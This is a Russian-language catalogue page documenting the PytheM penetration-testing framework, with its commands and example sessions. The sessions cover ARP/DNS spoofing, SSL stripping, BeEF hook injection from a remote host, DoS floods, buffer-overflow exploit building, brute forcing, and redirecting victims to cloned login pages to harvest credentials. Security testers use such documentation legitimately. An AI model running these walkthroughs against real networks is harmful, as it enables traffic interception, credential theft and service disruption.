PytheM


Описание PytheM

PytheM — это многоцелевой фреймворк для тестирования на проникновения, написан на Python.

Домашняя страница: https://github.com/m4n3dw0lf/PytheM

Автор: m4n3dw0lf

Лицензия: GPLv3

Справка по PytheM

Краткая характеристика команд PytheM.

Раздел: Основное

  • help: Напечатать справку.
  • exit/quit: Покинуть программу.
  • set: Установить значение переменные.

аргументы:

  • interface
  • gateway
  • target
  • file
  • arpmode
  • domain
  • redirect
  • script
  • filter

примеры:

   pythem> set interface
   [+] Enter the interface:
             или
   pythem> set interface wlan0
  • print: Напечатать значение переменной.

примеры:

   pythem> print gateway

Раздел: Сеть, человек-посередине и отказ в обслуживании (DOS)


  • scan: Выполнить tcp(значимые порты)/manual[ручное](порт)/arp(уровень-2) сканирование.

Следует вызвать после установки интерфейса и цели

Цели могут быть IP адресами или сетевыми диапазонами с CIDR

аргументы:

  • tcp
  • arp
  • manual

примеры:

   pythem> scan
   [*] Select one scan mode, options = tcp/arp/manual
   [+] Scan mode: arp
       или
   pythem> scan tcp

   pythem> scan manual
   [+] Enter the port, ports (separated by commas): 21,22,25,80
  • arpspoof: Запустить или остановить атаку arp-спуфинга.

Опциональная настройка arpmode для выбора режима arp-спуфинга должно быть укаозано rep или req

rep для спуфа ответов, req для спуфа запросов

аргументы:

  • start
  • stop

примеры:

   pythem> arpspoof start
   pythem> arpspoof stop
   pythem> arpspoof status
  • dnsspoof: Запустить атаку dns спуфинга.

Следует запускать после начала атаки arp-спуфинга

аргументы:

  • start
  • stop

примеры:

   pythem> dnsspoof start
   pythem> dnsspoof stop
   pythem> dnsspoof status
  • hstsbypass: Запустить sslstrip+ и dns2proxy

SSLstrip+ от: LeonardoNve && M.Marlinspike

DNS2Proxy от: LeonardoNve

Следует вызвать после начала атаки ARP спуфинга

пример:

   pythem> hstsbypass
  • inject: Запуск веб-сервера со скриптом для внедрения

Следует использовать после начала arp-спуфинга

аргументы:

  • start
  • stop

примеры:

   pythem> inject start
   pythem> inject stop
  • sniff: Запуск сниффинга пакетов.

Следует вызывать после настройки интерфейса

фильтры по запросу для сниффинга:

  • http
  • dns
  • core | Вам нужно это попробовать!

Все фильтры и не-фильтры проходят через пользовательский фильтр PytheM для минимизации избыточности.

примеры:

   pythem> sniff http
      или
   pythem> sniff
   [+] Enter the filter: port 1337 and host 10.0.1.5  (tcpdump-like format)
  • dos: Запустить атаку отказ-в-обслуживании (DoS).

аргументы:

  • dnsdrop > Запуск отбразывания DNS запросов, проходящий через трафик человек-посередине.

ARP спуфинг нужно инициализировать для блокировки сети целевого IP или диапазона.

  • synflood > Запуск атаки SYN флуда на целевой хост, порт по умолчанию = 80, успользуйте set для изменения порта.
  • udpflood > Запуск атаки UDP флуда на целевой хост, порт по умолчанию = 80, успользуйте set для изменения порта.
  • teardrop > Запуск атаки UDP teardrop fragmentation.
  • land > Запуск атаки LAND на целевой адрес, порт по умолчанию = 80, успользуйте set для изменения порта.
  • icmpflood > Запуск атаки ICMP флуда на целевой хост.
  • pingofdeath > Запуск атаки ping of death (P.O.D) attack на целевой адрес.
  • icmpsmurf > Запуск атаки ICMP на целевой хост. Отправка эхо-запросов с адресом цели в качестве источника.
  • dhcpstarvation > Запуск атаки DHCP на сетевой DHCP сервер. Множественный спуфинг MAC, dhcp обнаружение.
  • dnsamplification > Запуск атаки DNS на целевой адрес с заданными DNS серверами для аплификации.

пример:


   pythem> dos dnsdrop help

   pythem> dos synflood
  • pforensic: Запуск анализатора пакетов

Следует вызывать после настройки интерфейса или файла .pcap

examples:

   pythem> pforensic
   pforensic> help

Краткая справка по криминалистическим командам

  • help: Напечатать справку
  • clear: Очистить экран, то же самое что и "clear" в ОС GNU/Linux
  • exit/quit: Возврат в pythem
  • show: Показать все пакеты и их индексный номер.
  • conversations: Отображение пиктограммы с разговорами между хостами из анализируемого файла.
  • packetdisplay [число]: Показать полное содержимое выбранного пакета по индексу.
  • packetload [число]: Отобразить полезную нагрузку выбранного по индексу пакета.

Раздел: Разработка эксплойтов и обратный инженеринг

  • xploit: Разработка интерактивной оболочки stdin или tcp эксплойта

Аргумент stdin должен быть вызван после настройки файла

Аргумент tcp должен быть вызван после установки цели

аргументы:

  • stdin
  • tcp

пример:

   pythem> set file ./exec

   pythem> xploit stdin
           or
   pythem> xploit
   [*] Select one xploit mode, options = stdin/tcp
   [+] Exploit mode:

   xploit> help

Краткая справка по командам эксплуатирования

  • help: Напечатать справку.
  • clear: Очистить экран, то же самое что и "clear" в ОС GNU/Linux
  • exit/quit: Возврат в pythem.
  • set: Установить значения переменных.

параметры:


  • offset > Число ОС 'A's чтобы перезаписать указатель команд.
  • addr1 > (Опционально) Hexa(0xaddress) Первый адрес для перезаписи после смещения.
  • addr2 > (Опционально) Hexa(0xaddress) Второй адрес для перезаписи после смещения.
  • nops > (Опционально) Количество NOPs после IP перезаписи или после addr1 и addr2 если они установлены.
  • shellcode > (Опционально) Шеллкод (может быть сгенерирован в msfvenom или любым другим).
  • lenght > Общая длина полезной нагрузки.
  • arch > Архитектура процессора целевой системы.
  • print: Напечатать значение переменной.

пример:

   xploit> print offset
  • decode/encode: Раскодировать или кодировать строку с выбранным образцом.

примеры:

   xploit> decode hex
   xploit> encode hex
  • search: Автоматический поиск инструкций и опкода в исполнимом бинарнике

параметры:

  • instructions
  • opcode

примеры:

   xploit> search
   [+] Search (instructions/opcode):
                 или
   xploit> search instructions          ? - any character
   [+] Find: pop ?di                    % - any character

   xploit> search opcode
   [+] Find: ffe4
  • xploit: Запустить эксплойт после всех настрооек.

пример:


   xploit> xploit
  • fuzz: Запустить фазинг на субъекте.

Если для эксплойта передан файл, то будет фазить stdin

Если для эксплойта передана цель, то будет фазить tcp

Значением сдвига будет число 'A's для отправки.

[Default = 1]
will be increased in 1 by 1.
example:
 [offset = 10]
 will be increased in 10 by 10.

пример:

   xploit> fuzz

Всё другое будет выполнено в отладочной оболочке GNU с целевым файлом

Раздел: Брут-форс

  • brute: Запуск атаки брут-форс.

Следует вызывать после настройки цели и пути файла до словаря

аргументы:

  • ssh > ip адрес в качестве цели
  • url > url (с http:// или https://) в качестве цели
  • form > url (с http:// или https://) в качестве цели

примеры:

   pythem> brute form
   pythem> brute ssh

Раздел: Утилиты

  • geoip: Приблизительная геолокация распложения IP адреса.

Следует вызывать после установки цели (ip адрес)

примеры:

   pythem> geoip
      или
   pythem> geoip 8.8.8.8 (without setting target)
  • harvest: Сбор учётных данных из указанного файла, файл по умолчанию: sslstrip.log

пример:

   pythem> harvest
  • decode/encode: Декодировать или кодировать строку по выбранному образцу

примеры:

   pythem> decode base64
   [*] String to be decoded:
            или
   pythem> encode hex
   [*] String to be encoded:
  • cookiedecode: Декодировать закодированное в base64 url значение куки.

пример:

   pythem> cookiedecode

Всё остальное вроде ls, nano, cat и т. д. будет выполнено в терминале

Руководство по PytheM

Страница man отсутствует.

Примеры запуска PytheM

ARP спуфинг — Человек-посередине

  pythem> set interface
  [+] Enter the interface: wlan0
  pythem> set gateway
  [+] Enter the gateway: 192.168.1.1
  pythem> arpspoof start
  [+] Setting the packet forwarding.
  [+] Iptables redefined.
  [+] ARP spoofing initialized.
  pythem> sniff
  [+] Enter the filter: core

ARP+DNS спуф — редирект на поддельную страницу для сбора учётных данных

  • используйте SET или любой другой клонер сайтов по своему выбору для клонирования сайтов и размещения на apache2
  pythem> set target
  [+] Enter the target(s): 192.168.0.8
  pythem> set interface wlan0
  pythem> set gateway 192.168.0.1
  pythem> arpspoof start
  [+] Setting the packet forwarding.
  [+] Iptables redefined.
  [+] ARP spoofing initialized.
  pythem> dnsspoof start
  [!] Type all to spoof all domains
  [+] Domain to be spoofed: www.domainame.com
  [+] Default address to redirect is:192.168.0.6 do you want to change?[y/n]n
  [+] DNS spoofing initialized.
  pythem> sniff core

Человек-посередине с обходом HSTS - Очистка SSL

  pythem> set interface wlan0
  pythem> set gateway 192.168.0.1
  pythem> set target 192.168.0.8
  pythem> arpspoof start
  [+] Setting the packet forwarding.
  [+] Iptables redefined.
  [+] ARP spoofing initialized.
  pythem> hstsbypass
  [*] SSLstrip+ initialized
          |_by: LeonardoNve && M.Marlinspike
  [*] DNS2Proxy initialized
          |_by: LeonardoNve
  pythem> sniff core

Человек-посередине с внедрением крюка BeEF

  • Запустите BeEF xss framework и получите url скрипта для подцепления
  pythem> set interface wlan0
  pythem> set target 192.168.1.8
  pythem> set gateway 192.168.1.1
  pythem> arpspoof start
  [*] Iptables redefined
  [*] Setting the packet forwarding.
  [+] ARP spoofing initialized.
  pythem> inject start
  [+] Enter the script source: http://192.168.1.6:3000/hook.js
  [+] Script Injection initialized.
  [+] Injection URL - http://192.168.1.6:80
  [+] Script Injected on:  ('192.168.1.8', 34310)

Атака брут-форса SSH

  pythem> service ssh start
  pythem> set target 
  [+] Enter the target(s): 127.0.0.1
  pythem> set file wordlist.txt
  pythem> brute-force ssh
  [+] Enter the username to bruteforce: anon123

Брут-форс веб-страницы

  • Для начала получите исходный код веб-страницы и получите значение id= логина и пароля.
  • Показать результаты редиректа попытки поскольку если переходит на другую страницу, может сработало.
  pythem> set target http://127.0.0.1/
  pythem> set file
  [+] Enter the path to the file: wordlist.txt
  pythem> brute-force webform
  [+] Brute-Form authentication initialized.

  [+] Enter the input id of the username box: vSIS_ID
  [+] Enter the input id of the password box: vSIS_PASS
  [+] Enter the username to brute-force the formulary: root

Бустер контента URL

  pythem> set target
  [+] Enter the target(s): http://testphp.vulnweb.com/index.php?id=
  pythem> set file 1to100.txt
  pythem> brute-force url
  [+] Content URL bruter initialized.

Блокировка DNS запросов диапазона/IP адреса локальной сети

Может быть полезным блокировать DNS, чтобы вынудить администратора подключения зайти на HTTP сервер роутера со своими учётными данными, для проверки, что происходит.

pythem> set interface wlan0
pythem> set gateway 192.168.1.1
pythem> arpspoof start
[*] Iptables redefined
[*] Setting the packet forwarding.
[+] ARP spoofing initialized.
pythem> dos dnsdrop
[+] Man-in-the-middle DNS drop initialized.
pythem> sniff core

Перенаправление всех возможных DNS запросов на хост

Подсказка: запустите apache2 или любой другой веб-сервер с заранее подготовленной HTML-страницей.

pythem> set interface wlan0
pythem> set gateway 10.0.0.1
pythem> arpspoof start
[*] Iptables redefined
[*] Setting the packet forwarding.
[+] ARP spoofing initialized.
pythem> dnsspoof start
[!] Type all to spoof all domains
[+] Domain to be spoofed: all
[+] Default address to redirect is:10.0.0.3 do you want to change?[y/n]n
[+] DNS spoofing initialized

Установка PytheM

Установка в Kali Linux

sudo apt-get update
sudo apt-get install build-essential python-dev libnetfilter-queue-dev libffi-dev libssl-dev libpcap-dev
git clone https://github.com/m4n3dw0lf/PytheM.git
cd PytheM
sudo pip install -r requirements.txt
sudo ./pythem.py

Установка в BlackArch

Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты PytheM

pythembkg

Инструкции по PytheM

Ссылки на инструкции будут добавлены позже.


Близкие программы:

  • mdk3 (73.8%)
  • wifijammer (67.8%)
  • LANs (50%)
  • Xerosploit (50%)
  • Reaver (reaver-wps-fork-t6x) (40.6%)
  • Maltego (RANDOM - 3.5%)
  • Рекомендуется Вам:

    Comments are Closed